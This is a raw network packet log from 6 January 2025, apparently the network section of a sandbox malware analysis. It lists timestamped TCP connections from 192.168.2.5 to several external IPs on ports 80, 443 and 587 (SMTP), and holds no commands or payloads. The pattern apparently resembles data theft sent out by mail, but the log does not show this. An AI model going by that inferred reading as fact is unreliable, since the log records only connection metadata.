Jan 6, 2025 07:54:30.430241108 CET	53677	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:30.434746027 CET	53671	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:30.435724974 CET	53683	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:30.439748049 CET	80	53671	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:30.439817905 CET	53671	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:30.440609932 CET	80	53683	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:30.440973997 CET	53683	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:30.441075087 CET	53683	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:30.445813894 CET	80	53683	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:30.936165094 CET	80	53681	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:30.941059113 CET	53681	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:30.945846081 CET	80	53681	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:31.189481020 CET	80	53681	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:31.215025902 CET	80	53683	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:31.216429949 CET	53689	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:31.216479063 CET	443	53689	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:31.216555119 CET	53689	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:31.216828108 CET	53689	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:31.216844082 CET	443	53689	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:31.399454117 CET	80	53681	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:31.399523973 CET	53681	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:31.412893057 CET	53683	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:31.683837891 CET	443	53689	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:31.685475111 CET	53689	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:31.685487032 CET	443	53689	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:31.835524082 CET	443	53689	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:31.835586071 CET	443	53689	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:31.835839987 CET	53689	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:31.836107969 CET	53689	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:31.840399981 CET	53683	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:31.841826916 CET	53694	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:31.845402956 CET	80	53683	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:31.845467091 CET	53683	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:31.846685886 CET	80	53694	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:31.846754074 CET	53694	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:31.846843958 CET	53694	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:31.851671934 CET	80	53694	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:31.877815008 CET	53696	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:31.877860069 CET	443	53696	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:31.877921104 CET	53696	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:31.893830061 CET	53696	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:31.893851995 CET	443	53696	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:32.368659973 CET	443	53696	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:32.370331049 CET	53696	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:32.370331049 CET	53696	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:32.370362997 CET	443	53696	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:32.370681047 CET	443	53696	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:32.412889957 CET	53696	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:32.443913937 CET	53696	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:32.491338015 CET	443	53696	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:32.558255911 CET	443	53696	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:32.558316946 CET	443	53696	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:32.558470964 CET	53696	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:32.560899973 CET	53696	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:32.567589998 CET	53681	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:32.572455883 CET	80	53681	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:32.604804039 CET	80	53694	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:32.605926991 CET	53701	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:32.605989933 CET	443	53701	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:32.606127977 CET	53701	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:32.606389999 CET	53701	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:32.606406927 CET	443	53701	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:32.647269964 CET	53694	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:32.780340910 CET	53704	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:32.785275936 CET	587	53704	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:32.785375118 CET	53704	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:32.820883989 CET	80	53681	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:32.826668024 CET	53705	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:32.826692104 CET	443	53705	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:32.827074051 CET	53705	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:32.827397108 CET	53705	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:32.827410936 CET	443	53705	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:32.866022110 CET	53681	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:33.070132017 CET	443	53701	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:33.072424889 CET	53701	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:33.072469950 CET	443	53701	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:33.197315931 CET	443	53701	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:33.197387934 CET	443	53701	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:33.197611094 CET	53701	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:33.198040962 CET	53701	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:33.202111006 CET	53694	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:33.203984976 CET	53709	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:33.207068920 CET	80	53694	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:33.207118988 CET	53694	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:33.208867073 CET	80	53709	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:33.208940983 CET	53709	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:33.209072113 CET	53709	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:33.213884115 CET	80	53709	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:33.282857895 CET	443	53705	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:33.285037994 CET	53705	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:33.285052061 CET	443	53705	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:33.341274977 CET	587	53704	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:33.341594934 CET	53704	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:33.346467972 CET	587	53704	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:33.415613890 CET	443	53705	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:33.415683031 CET	443	53705	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:33.415744066 CET	53705	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:33.416344881 CET	53705	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:33.436542034 CET	53711	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:33.436543941 CET	53681	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:33.441411972 CET	80	53711	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:33.441490889 CET	53711	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:33.441567898 CET	80	53681	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:33.441617966 CET	53681	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:33.447262049 CET	53711	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:33.453392029 CET	80	53711	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:33.491071939 CET	587	53704	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:33.491281033 CET	53704	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:33.496073961 CET	587	53704	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:33.648866892 CET	587	53704	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:33.649422884 CET	53704	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:33.654215097 CET	587	53704	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:33.806201935 CET	587	53704	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:33.806230068 CET	587	53704	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:33.806242943 CET	587	53704	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:33.806252956 CET	587	53704	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:33.806265116 CET	587	53704	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:33.806354046 CET	53704	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:33.823055983 CET	53704	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:33.827871084 CET	587	53704	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:33.973905087 CET	587	53704	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:33.979589939 CET	53704	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:33.984545946 CET	587	53704	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:33.990097046 CET	80	53709	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:33.990288973 CET	53709	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:33.991559029 CET	53716	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:33.991585016 CET	443	53716	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:33.991652966 CET	53716	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:33.991950035 CET	53716	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:33.991962910 CET	443	53716	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:33.995424986 CET	80	53709	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:33.995490074 CET	53709	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:34.129281998 CET	587	53704	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:34.161401987 CET	53704	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:34.166232109 CET	587	53704	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:34.212887049 CET	80	53711	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:34.214024067 CET	53718	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:34.214090109 CET	443	53718	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:34.214165926 CET	53718	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:34.214493990 CET	53718	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:34.214517117 CET	443	53718	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:34.256623983 CET	53711	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:34.310704947 CET	587	53704	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:34.313950062 CET	53704	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:34.318778992 CET	587	53704	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:34.464201927 CET	587	53704	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:34.464644909 CET	53704	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:34.469465971 CET	587	53704	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:34.485053062 CET	443	53716	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:34.491676092 CET	53716	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:34.491723061 CET	443	53716	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:34.614274025 CET	587	53704	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:34.614558935 CET	53704	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:34.619369030 CET	587	53704	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:34.638916969 CET	443	53716	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:34.638978004 CET	443	53716	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:34.639223099 CET	53716	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:34.639408112 CET	53716	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:34.643069983 CET	53723	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:34.647901058 CET	80	53723	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:34.647969961 CET	53723	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:34.648036003 CET	53723	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:34.652815104 CET	80	53723	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:34.668597937 CET	443	53718	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:34.678133011 CET	53718	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:34.678158045 CET	443	53718	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:34.764488935 CET	587	53704	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:34.766763926 CET	53704	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:34.771826982 CET	587	53704	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:34.821716070 CET	443	53718	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:34.821775913 CET	443	53718	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:34.822029114 CET	53718	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:34.822376013 CET	53718	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:34.885575056 CET	53711	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:34.886909008 CET	53724	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:34.890634060 CET	80	53711	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:34.890698910 CET	53711	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:34.891719103 CET	80	53724	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:34.891829014 CET	53724	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:34.891937017 CET	53724	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:34.896650076 CET	80	53724	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:34.918226004 CET	587	53704	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:34.959777117 CET	53704	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:34.976852894 CET	53704	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:34.981918097 CET	587	53704	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:35.127418041 CET	587	53704	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:35.128979921 CET	53704	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:35.133789062 CET	587	53704	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:35.292714119 CET	587	53704	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:35.314500093 CET	53704	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:35.314601898 CET	53704	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:35.314621925 CET	53704	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:35.314640045 CET	53704	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:35.319334030 CET	587	53704	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:35.319478989 CET	587	53704	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:35.319519043 CET	587	53704	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:35.397993088 CET	80	53723	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:35.399096012 CET	53730	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:35.399122953 CET	443	53730	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:35.399375916 CET	53730	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:35.399591923 CET	53730	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:35.399604082 CET	443	53730	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:35.444140911 CET	53723	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:35.564534903 CET	587	53704	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:35.615998030 CET	53704	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:35.639106989 CET	80	53724	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:35.640518904 CET	53731	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:35.640562057 CET	443	53731	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:35.640620947 CET	53731	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:35.640897036 CET	53731	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:35.640918016 CET	443	53731	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:35.694139004 CET	53724	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:35.883519888 CET	443	53730	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:35.885492086 CET	53730	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:35.885509014 CET	443	53730	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:36.017508030 CET	443	53730	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:36.017570972 CET	443	53730	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:36.017622948 CET	53730	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:36.018229008 CET	53730	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:36.054599047 CET	53723	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:36.057038069 CET	53734	443	192.168.2.5	149.154.167.220
Jan 6, 2025 07:54:36.057065964 CET	443	53734	149.154.167.220	192.168.2.5
Jan 6, 2025 07:54:36.057128906 CET	53734	443	192.168.2.5	149.154.167.220
Jan 6, 2025 07:54:36.057821989 CET	53734	443	192.168.2.5	149.154.167.220
Jan 6, 2025 07:54:36.057838917 CET	443	53734	149.154.167.220	192.168.2.5
Jan 6, 2025 07:54:36.059962988 CET	80	53723	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:36.060020924 CET	53723	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:36.096514940 CET	443	53731	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:36.098633051 CET	53731	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:36.098654032 CET	443	53731	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:36.240345955 CET	443	53731	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:36.240423918 CET	443	53731	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:36.240510941 CET	53731	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:36.243922949 CET	53731	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:36.243926048 CET	53724	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:36.248512983 CET	53738	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:36.250066042 CET	80	53724	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:36.250174999 CET	53724	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:36.253351927 CET	80	53738	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:36.253647089 CET	53738	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:36.253647089 CET	53738	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:36.258456945 CET	80	53738	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:36.673952103 CET	443	53734	149.154.167.220	192.168.2.5
Jan 6, 2025 07:54:36.674170971 CET	53734	443	192.168.2.5	149.154.167.220
Jan 6, 2025 07:54:36.675682068 CET	53734	443	192.168.2.5	149.154.167.220
Jan 6, 2025 07:54:36.675693989 CET	443	53734	149.154.167.220	192.168.2.5
Jan 6, 2025 07:54:36.675935030 CET	443	53734	149.154.167.220	192.168.2.5
Jan 6, 2025 07:54:36.677253008 CET	53734	443	192.168.2.5	149.154.167.220
Jan 6, 2025 07:54:36.719336987 CET	443	53734	149.154.167.220	192.168.2.5
Jan 6, 2025 07:54:36.927412987 CET	443	53734	149.154.167.220	192.168.2.5
Jan 6, 2025 07:54:36.927479982 CET	443	53734	149.154.167.220	192.168.2.5
Jan 6, 2025 07:54:36.930519104 CET	53734	443	192.168.2.5	149.154.167.220
Jan 6, 2025 07:54:36.930519104 CET	53734	443	192.168.2.5	149.154.167.220
Jan 6, 2025 07:54:37.041984081 CET	80	53738	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:37.043220043 CET	53744	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:37.043262959 CET	443	53744	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:37.043528080 CET	53744	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:37.043606997 CET	53744	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:37.043617010 CET	443	53744	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:37.084764004 CET	53738	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:37.517730951 CET	443	53744	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:37.519259930 CET	53744	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:37.519282103 CET	443	53744	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:37.655400038 CET	443	53744	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:37.655464888 CET	443	53744	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:37.655550957 CET	53744	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:37.697005033 CET	53744	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:37.721091032 CET	53750	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:37.728219032 CET	80	53750	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:37.728283882 CET	53750	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:37.730009079 CET	53750	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:37.736473083 CET	80	53750	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:38.493609905 CET	80	53750	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:38.494719028 CET	53756	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:38.494750977 CET	443	53756	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:38.494895935 CET	53756	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:38.495179892 CET	53756	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:38.495188951 CET	443	53756	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:38.537911892 CET	53750	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:38.958412886 CET	443	53756	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:38.960179090 CET	53756	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:38.960212946 CET	443	53756	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:39.113451958 CET	443	53756	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:39.113509893 CET	443	53756	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:39.113569021 CET	53756	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:39.114000082 CET	53756	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:39.117352009 CET	53750	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:39.118489981 CET	53759	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:39.122328043 CET	80	53750	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:39.122387886 CET	53750	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:39.123300076 CET	80	53759	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:39.123374939 CET	53759	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:39.123497963 CET	53759	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:39.128247023 CET	80	53759	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:39.896935940 CET	80	53759	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:39.899869919 CET	53765	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:39.899904013 CET	443	53765	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:39.900070906 CET	53765	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:39.900350094 CET	53765	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:39.900361061 CET	443	53765	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:39.944140911 CET	53759	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:40.499293089 CET	443	53765	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:40.505492926 CET	53765	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:40.505526066 CET	443	53765	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:40.651467085 CET	443	53765	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:40.651540995 CET	443	53765	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:40.651597977 CET	53765	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:40.653990984 CET	53765	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:40.670743942 CET	53759	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:40.671403885 CET	53771	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:40.675807953 CET	80	53759	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:40.675870895 CET	53759	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:40.676280975 CET	80	53771	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:40.676347971 CET	53771	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:40.676455975 CET	53771	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:40.681205034 CET	80	53771	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:41.468208075 CET	80	53771	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:41.469548941 CET	53779	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:41.469574928 CET	443	53779	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:41.469712973 CET	53779	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:41.469959021 CET	53779	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:41.469969034 CET	443	53779	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:41.522270918 CET	53771	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:41.923430920 CET	443	53779	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:41.925741911 CET	53779	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:41.925767899 CET	443	53779	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:42.065741062 CET	443	53779	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:42.065824032 CET	443	53779	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:42.066026926 CET	53779	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:42.066268921 CET	53779	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:42.069555044 CET	53771	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:42.070615053 CET	53782	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:42.074542999 CET	80	53771	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:42.074666023 CET	53771	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:42.075596094 CET	80	53782	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:42.075685978 CET	53782	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:42.075858116 CET	53782	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:42.080665112 CET	80	53782	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:42.849483967 CET	80	53782	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:42.850794077 CET	53788	443	192.168.2.5	188.114.97.3
